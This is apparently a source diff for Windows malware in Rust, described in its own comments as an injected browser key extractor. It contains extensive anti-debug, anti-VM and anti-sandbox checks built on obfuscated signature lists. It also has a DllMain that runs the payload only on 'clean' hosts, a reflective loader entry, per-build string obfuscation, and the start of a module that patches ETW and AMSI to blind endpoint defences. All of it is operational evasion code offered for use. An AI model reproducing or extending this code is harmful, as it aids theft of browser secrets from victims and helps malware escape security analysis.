||||
// Vendor string (12 bytes in EBX:EDX:ECX).
|
||||
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
|
||||
let mut v = Vec::with_capacity(12);
|
||||
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
|
||||
v.push(*b);
|
||||
}
|
||||
let vl = lower(&v);
|
||||
let key: u8 = gen::K_VENDOR;
|
||||
let bad: [(obf::Slot, u32); 7] = [
|
||||
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
|
||||
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
|
||||
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
|
||||
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
|
||||
];
|
||||
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
|
||||
bad.iter().enumerate().any(|(i, s)| {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
contains(&vl, &plain[..LENS[i]])
|
||||
})
|
||||
}
|
||||
|
||||
/// SMBIOS firmware string table search.
|
||||
unsafe fn smbios_firmware() -> bool {
|
||||
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
|
||||
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
|
||||
if size == 0 || size > 4 * 1024 * 1024 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
|
||||
if got == 0 {
|
||||
return false;
|
||||
}
|
||||
buf.truncate(got as usize);
|
||||
let bl = lower(&buf);
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
|
||||
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
|
||||
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
|
||||
];
|
||||
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
|
||||
bad.iter().enumerate().any(|(i, s)| {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
contains(&bl, &plain[..LENS[i]])
|
||||
})
|
||||
}
|
||||
|
||||
/// Ask the OS for key system facts and probe for VM-typical characteristics.
|
||||
unsafe fn gather_system_quirks() -> bool {
|
||||
// Low total RAM (< 2GB) is common in thin sandboxes.
|
||||
let mut ms = MemStatusEx {
|
||||
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
|
||||
dw_memory_load: 0,
|
||||
ull_total_phys: 0,
|
||||
ull_avail_phys: 0,
|
||||
ull_total_page_file: 0,
|
||||
ull_avail_page_file: 0,
|
||||
ull_total_virtual: 0,
|
||||
ull_avail_virtual: 0,
|
||||
ull_avail_extended_virtual: 0,
|
||||
};
|
||||
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
|
||||
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// A single-core / single-thread CPU is a common VM giveaway.
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct SysInfo {
|
||||
processor_arch: u16,
|
||||
page_size: u32,
|
||||
min_app_addr: usize,
|
||||
max_app_addr: usize,
|
||||
active_processor_mask: usize,
|
||||
num_processors: u32,
|
||||
processor_type: u32,
|
||||
alloc_granularity: u32,
|
||||
processor_level: u16,
|
||||
processor_revision: u16,
|
||||
}
|
||||
let mut si: SysInfo = unsafe { std::mem::zeroed() };
|
||||
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
|
||||
if si.num_processors <= 1 {
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-analyze / sandbox
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
unsafe fn process_scan() -> bool {
|
||||
const TH32CS_SNAPPROCESS: u32 = 0x2;
|
||||
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct PROCESSENTRY32W {
|
||||
dw_size: u32,
|
||||
cnt_usage: u32,
|
||||
th32_process_id: u32,
|
||||
th32_default_heap_id: usize,
|
||||
th32_module_id: u32,
|
||||
cnt_threads: u32,
|
||||
th32_parent_process_id: u32,
|
||||
pc_pri_class_base: i32,
|
||||
dw_flags: u32,
|
||||
sz_exe_file: [u16; 260],
|
||||
}
|
||||
|
||||
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
|
||||
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
|
||||
|
||||
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
|
||||
let key: u8 = gen::K_TOKEN;
|
||||
let tools: [(obf::Slot, u32); 10] = [
|
||||
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
|
||||
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
|
||||
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
|
||||
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
|
||||
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
|
||||
];
|
||||
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
|
||||
|
||||
let mut found = false;
|
||||
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
let mut name = Vec::with_capacity(520);
|
||||
for ch in entry.sz_exe_file.iter() {
|
||||
if *ch == 0 {
|
||||
break;
|
||||
}
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (i, s) in tools.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&nl, &plain[..LENS[i]]) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if found {
|
||||
break;
|
||||
}
|
||||
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
found
|
||||
}
|
||||
|
||||
/// Probe the running environment for analyst/sandbox environment variables.
|
||||
/// A handful of well-known sandbox marker variables are checked; if any non-empty
|
||||
/// value is set the environment is treated as suspicious.
|
||||
unsafe fn env_probe() -> bool {
|
||||
let key: u8 = gen::K_ENV;
|
||||
let mut out = [0u16; 512];
|
||||
|
||||
// Names are XOR-encrypted so they don't sit in plaintext.
|
||||
let names: [(obf::Slot, u32); 4] = [
|
||||
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
|
||||
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
|
||||
];
|
||||
const LENS: [usize; 4] = [4, 13, 8, 10];
|
||||
|
||||
for (i, s) in names.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
|
||||
nm.push(0);
|
||||
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
|
||||
if got > 0 && got < 512 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-dump / memory hardening
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemoryBasicInfo {
|
||||
base_address: *mut c_void,
|
||||
allocation_base: *mut c_void,
|
||||
allocation_protect: u32,
|
||||
region_size: usize,
|
||||
state: u32,
|
||||
protect: u32,
|
||||
_type: u32,
|
||||
}
|
||||
|
||||
const MEM_COMMIT: u32 = 0x1000;
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
|
||||
|
||||
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
|
||||
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
|
||||
/// many distinct allocation regions are RWX — a process holding many RWX regions
|
||||
/// is either self-modifying or under an active memory scanner.
|
||||
unsafe fn suspicious_memory_maps() -> bool {
|
||||
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
let mut rwx: u32 = 0;
|
||||
while addr < usize::MAX - 16 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if info.state == MEM_COMMIT {
|
||||
let prot = info.protect & 0xFF;
|
||||
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
||||
rwx += 1;
|
||||
}
|
||||
}
|
||||
// Advance to next region; a zero-size region means stop.
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
|
||||
// RWX regions will. Keep the threshold high to avoid false positives.
|
||||
rwx >= 6
|
||||
}
|
||||
|
||||
/// Sweep committed pages and downgrade any writable+executable regions to
|
||||
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
|
||||
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
|
||||
/// (hash walk) so the guard doesn't import it statically.
|
||||
unsafe fn harden_image() -> bool {
|
||||
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
let mut anomaly = false;
|
||||
let mut down: u32 = 0;
|
||||
while addr < usize::MAX - 16 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if info.state == MEM_COMMIT {
|
||||
let prot = info.protect & 0xFF;
|
||||
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
||||
anomaly = true;
|
||||
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
|
||||
down += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
let _ = down;
|
||||
anomaly
|
||||
}
|
||||
|
||||
/// Block the process from being dumped by a debugger using a debug-flag lock.
|
||||
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
|
||||
/// static import, so the guard doesn't declare this API in its PE imports.
|
||||
unsafe fn prevent_dump() -> bool {
|
||||
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
|
||||
// being debugged at the kernel level.
|
||||
match apires::dyn_query_debug_flags() {
|
||||
Some(flags) => flags == 0,
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
|
||||
unsafe fn hooks_detected() -> bool {
|
||||
antihook::detect_hooks()
|
||||
}
|
||||
|
||||
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
|
||||
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
|
||||
/// a refresh rate far below a physical panel. If the refresh rate is at or below
|
||||
/// the supplied ceiling, the environment is treated as virtual.
|
||||
///
|
||||
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
|
||||
/// allocate a wide buffer and read that offset directly, avoiding the layout
|
||||
/// pitfalls of the huge union in the real struct.
|
||||
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
|
||||
let mut dm = [0u8; 240];
|
||||
let ok = dynapi::EnumDisplaySettingsW(
|
||||
ptr::null(),
|
||||
abi::ENUM_CURRENT_SETTINGS,
|
||||
dm.as_mut_ptr() as *mut c_void,
|
||||
);
|
||||
if ok == 0 {
|
||||
return false;
|
||||
}
|
||||
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
|
||||
// +68/+70 tell us how big the returned structure is; only trust the field if
|
||||
// the driver confirmed at least that far.
|
||||
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
|
||||
if dm_size < 176 {
|
||||
return false;
|
||||
}
|
||||
let freq = *(dm.as_ptr().add(176) as *const u32);
|
||||
freq != 0 && freq <= ceiling_hz
|
||||
}
|
||||
|
||||
/// Scan attached display devices for a known virtual driver name (RDP / generic
|
||||
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
|
||||
unsafe fn virtual_display_driver() -> bool {
|
||||
// A fixed-size probe device record: we only need the DeviceString up to the
|
||||
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
|
||||
// +32). Read via a raw buffer.
|
||||
let scan: [(obf::Slot, u32); 5] = [
|
||||
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
|
||||
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
|
||||
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
|
||||
];
|
||||
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
|
||||
|
||||
let mut i = 0u32;
|
||||
while i < 8 {
|
||||
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
|
||||
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
|
||||
if ok == 0 {
|
||||
break;
|
||||
}
|
||||
let mut name: Vec<u8> = Vec::with_capacity(256);
|
||||
for ch in buf.iter().skip(32).take(120) {
|
||||
if *ch == 0 {
|
||||
break;
|
||||
}
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (idx, s) in scan.iter().enumerate() {
|
||||
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
|
||||
if contains(&nl, &plain[..LENS[idx]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Score + decision
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Run the full battery. `true` = environment looks hostile → do not start the
|
||||
/// payload. Score thresholds keep false positives low on clean hosts.
|
||||
pub fn run() -> bool {
|
||||
// Initialize syscall numbers and sleep encryption early
|
||||
unsafe {
|
||||
syscall::init_syscall_numbers();
|
||||
sleep::init_sleep_key();
|
||||
}
|
||||
|
||||
let mut score: u32 = 0;
|
||||
let seed = flow::run_time_nonce();
|
||||
|
||||
// Per-build polymorphic junk injected into the entry path so the emitted
|
||||
// bytes (and thus the artifact hash) differ on every build.
|
||||
flow::junk();
|
||||
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
|
||||
|
||||
// Windows-only signchecks; everything here is x64 Windows.
|
||||
unsafe {
|
||||
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
|
||||
// can't cleanly pick a side; both arms are cheap) ---
|
||||
flow::opaque_choice(seed, || {
|
||||
// --- anti-debug ---
|
||||
if peb_being_debugged() {
|
||||
score += 3;
|
||||
}
|
||||
if peb_nt_global_flag() {
|
||||
score += 3;
|
||||
}
|
||||
if nt_debug_port() {
|
||||
score += 3;
|
||||
}
|
||||
if remote_debugger_present() {
|
||||
score += 2;
|
||||
}
|
||||
if !timing_sane() {
|
||||
score += 2;
|
||||
}
|
||||
}, || {});
|
||||
|
||||
// --- anti-VM (comprehensive, 16 vectors) ---
|
||||
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
|
||||
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
|
||||
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
|
||||
// process count, user-input absence, VM DLLs, tool windows, disk
|
||||
// labels. It returns a cumulative score; map it onto ours with weight.
|
||||
let avm = antivm::score();
|
||||
if avm >= 6 {
|
||||
score += 5; // overwhelming evidence of virtualization
|
||||
} else if avm >= 3 {
|
||||
score += 3; // strong signals
|
||||
} else if avm >= 1 {
|
||||
score += 1; // weak/noisy signals only
|
||||
}
|
||||
|
||||
// Legacy direct checks kept as independent confirmation:
|
||||
if cpu_hypervisor() {
|
||||
score += 2;
|
||||
}
|
||||
if smbios_firmware() {
|
||||
score += 1;
|
||||
}
|
||||
if gather_system_quirks() {
|
||||
score += 2;
|
||||
}
|
||||
|
||||
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
|
||||
// The antisbx module uses a tiered model:
|
||||
// hard: Sleep acceleration / timer tampering — conclusive alone
|
||||
// strong: identity markers, empty desktop — rare on real machines
|
||||
// weak: quiet mouse, few windows — only counted with corroboration
|
||||
let sbx = antisbx::verdict(6, 250);
|
||||
if sbx.hard {
|
||||
score += 6; // physically impossible on a clean host
|
||||
}
|
||||
if sbx.score >= 6 {
|
||||
score += 4; // multiple corroborated strong signals
|
||||
} else if sbx.score >= 3 {
|
||||
score += 2;
|
||||
} else if sbx.score >= 1 {
|
||||
score += 1;
|
||||
}
|
||||
|
||||
// --- legacy direct checks ---
|
||||
if process_scan() {
|
||||
score += 3;
|
||||
}
|
||||
if env_probe() {
|
||||
score += 2;
|
||||
}
|
||||
|
||||
// --- anti-dump / memory hardening ---
|
||||
if suspicious_memory_maps() {
|
||||
score += 3;
|
||||
}
|
||||
let _ = harden_image(); // runs regardless; only scores via maps above
|
||||
if prevent_dump() {
|
||||
score += 3;
|
||||
}
|
||||
|
||||
// --- anti-hook (EDR / sandbox hot-patch detection) ---
|
||||
if hooks_detected() {
|
||||
score += 3;
|
||||
}
|
||||
|
||||
// --- anti-VM via display refresh signature ---
|
||||
// 45 Hz and below: virtual/remote display drivers report this; a physical
|
||||
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
|
||||
if low_refresh_display(45) {
|
||||
score += 3;
|
||||
}
|
||||
if virtual_display_driver() {
|
||||
score += 2;
|
||||
}
|
||||
}
|
||||
|
||||
// Threshold: a handful of independent signals means it's an analysis box.
|
||||
score >= 4
|
||||
}
|
||||
|
||||
/// Second-opinion sandbox check intended to be called by the worker thread
|
||||
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
|
||||
/// absent user input) become more pronounced over time; transient noise
|
||||
/// fades. Returns `true` if the environment now looks like a sandbox —
|
||||
/// the caller should then wind down / exit.
|
||||
pub fn recheck_sandbox() -> bool {
|
||||
flow::junk();
|
||||
let v = antisbx::verify_second_pass();
|
||||
v.hard || v.score >= 3
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
//! recovery-key-extractor — Rust port of the injected browser key extractor.
|
||||
//!
|
||||
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
|
||||
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
|
||||
//! commands over that named pipe. The DLL is reflectively mapped into the
|
||||
//! browser process by the Go injector, which starts a thread on the exported
|
||||
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
|
||||
//! image, resolves imports and relocations, and finally invokes `DllMain`.
|
||||
|
||||
#![allow(clippy::missing_safety_doc)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
mod abi;
|
||||
mod antihook;
|
||||
mod antisbx;
|
||||
mod antivm;
|
||||
mod apires;
|
||||
mod dynapi;
|
||||
mod flow;
|
||||
mod gen;
|
||||
mod guard;
|
||||
mod obf;
|
||||
mod patch;
|
||||
mod payload;
|
||||
mod reflective;
|
||||
mod sleep;
|
||||
mod syscall;
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
|
||||
if reason == DLL_PROCESS_ATTACH {
|
||||
unsafe {
|
||||
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
|
||||
}
|
||||
// Guard first: if the environment looks like a debugger / VM / sandbox /
|
||||
// analysis box, refuse to run the payload. Only spawn the worker on a
|
||||
// clean host.
|
||||
if guard::run() {
|
||||
return 1;
|
||||
}
|
||||
// Defense patches: ETW silence, AMSI neuter, instrumentation-callback
|
||||
// clear. Applied via direct syscalls; wrapped in junk to break
|
||||
// signature alignment at DllMain.
|
||||
flow::junk();
|
||||
let _ = patch::apply_all();
|
||||
payload::on_attach(reserved as *const u16);
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// Reflective loader entry point. The Go injector resolves this export by name
|
||||
/// and starts a thread on it inside the target process.
|
||||
#[unsafe(no_mangle)]
|
||||
#[inline(never)]
|
||||
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
|
||||
reflective::loader_impl(lpParameter)
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
//! Strong string obfuscation: position-dependent XOR keystream with per-string
|
||||
//! nonces and compile-time entropy.
|
||||
//!
|
||||
//! Unlike a single fixed-XOR, every byte is combined with its own keystream
|
||||
//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel
|
||||
//! avalanche, so the ciphertext carries no repeating pattern and a plaintext
|
||||
//! signature never survives in `.rodata`.
|
||||
//!
|
||||
//! The encode happens at compile time in `const` context; the decode runs at
|
||||
//! runtime on the stack, and only the materialized buffer ever exists in memory
|
||||
//! briefly. Keystream is invertible so encode == decode.
|
||||
//!
|
||||
//! API:
|
||||
//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time
|
||||
//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime
|
||||
|
||||
/// Maximum supported string length (covers all current use cases).
|
||||
pub const MAX_LEN: usize = 64;
|
||||
|
||||
/// Fixed-width encrypted slot.
|
||||
pub type Slot = [u8; MAX_LEN];
|
||||
|
||||
/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions
|
||||
/// and similar keys/nonces produce wildly different output.
|
||||
///
|
||||
/// The avalanche constants are folded with per-build values from `gen` so the
|
||||
/// keystream arithmetic *itself* differs between artifacts — a scanner cannot
|
||||
/// decrypt `.rodata` slots with the published constant set.
|
||||
#[inline(always)]
|
||||
const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 {
|
||||
// Per-build mix: changes every artifact's ciphertext AND the algorithm's
|
||||
// emitted arithmetic, breaking cross-sample signatures.
|
||||
let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY;
|
||||
let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF);
|
||||
let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF);
|
||||
let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16);
|
||||
let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF);
|
||||
|
||||
let mut x = (key as u32)
|
||||
.wrapping_add((i as u32).wrapping_mul(m1))
|
||||
.wrapping_add(nonce)
|
||||
.wrapping_add(i as u32)
|
||||
.wrapping_add(s);
|
||||
|
||||
// Round 1
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(m2);
|
||||
// Round 2
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(m3);
|
||||
// Round 3
|
||||
x ^= x << 7;
|
||||
x = x.wrapping_mul(m1 ^ 0x7F4A_7C15);
|
||||
// Round 4
|
||||
x ^= x >> 11;
|
||||
x = x.wrapping_mul(m4);
|
||||
|
||||
(x & 0xFF) as u8
|
||||
}
|
||||
|
||||
/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`).
|
||||
pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot {
|
||||
let mut out = [0u8; MAX_LEN];
|
||||
let mut i = 0;
|
||||
while i < plain.len() && i < MAX_LEN {
|
||||
out[i] = plain[i] ^ ks_byte(key, i, nonce);
|
||||
i += 1;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// A signature bundled with its own keystream nonce, so encryption and
|
||||
/// decryption always agree no matter where the list is defined.
|
||||
pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) {
|
||||
(enc(key, nonce, plain), nonce)
|
||||
}
|
||||
|
||||
/// Decrypt a `(Slot, nonce)` signature to `len` bytes.
|
||||
pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] {
|
||||
dec(key, s.1, &s.0, len)
|
||||
}
|
||||
|
||||
/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`).
|
||||
pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] {
|
||||
let mut out = [0u8; MAX_LEN];
|
||||
let n = len.min(MAX_LEN);
|
||||
for i in 0..n {
|
||||
out[i] = slot[i] ^ ks_byte(key, i, nonce);
|
||||
}
|
||||
out
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
//! Userland defense patches: ETW, AMSI, instrumentation callbacks.
|
||||
//!
|
||||
//! All memory modifications go through our own direct-syscall
|
||||
//! NtProtectVirtualMemory — never the hooked kernel32 path.
|
||||
//!
|
||||
//! Modern (2023+) evasion notes:
|
||||
//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and
|
||||
//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned
|
||||
//! patterns. Every stub here is *metamorphic*: several functionally
|
||||
//! identical templates with different register allocation / encodings,
|
||||
//! selected per-build from `gen`, so the patched bytes never match a
|
||||
//! published signature.
|
||||
//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary)
|
||||
//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) +
|
||||
//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent
|
||||
//! (deep cut) + EtwEventRegister (silent success).
|
||||
//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the
|
||||
//! implant sleeps. We restore original bytes before `secure_sleep` and
|
||||
//! re-apply afterwards (`suspend_all`/`resume_all`).
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::apires;
|
||||
use crate::flow;
|
||||
use crate::gen;
|
||||
use crate::syscall;
|
||||
use crate::syscall::{r as unmask, HASH_KEY};
|
||||
|
||||
// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r).
|
||||
use crate::syscall::{
|
||||
HASH_AMSI_SCAN_BUFFER,
|
||||
HASH_ETW_EVENT_WRITE,
|
||||
HASH_ETW_EVENT_REGISTER,
|
||||
HASH_NTTRACE_EVENT,
|
||||
HASH_MODULE_AMSI,
|
||||
};
|
||||
|
||||
// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A).
|
||||
const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY;
|
||||
const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY;
|
||||
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Patch bookkeeping (for sleep-evasion restore)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Saved original bytes of each patched site so they can be restored.
|
||||
struct PatchSite {
|
||||
addr: usize,
|
||||
len: usize,
|
||||
original: [u8; 32],
|
||||
/// true once the original bytes have been captured (survives suspend).
|
||||
primed: bool,
|
||||
/// true while our stub is currently applied.
|
||||
active: bool,
|
||||
}
|
||||
|
||||
static mut SITES: [PatchSite; 8] = [
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
];
|
||||
|
||||
static mut SITE_NEXT: usize = 0;
|
||||
|
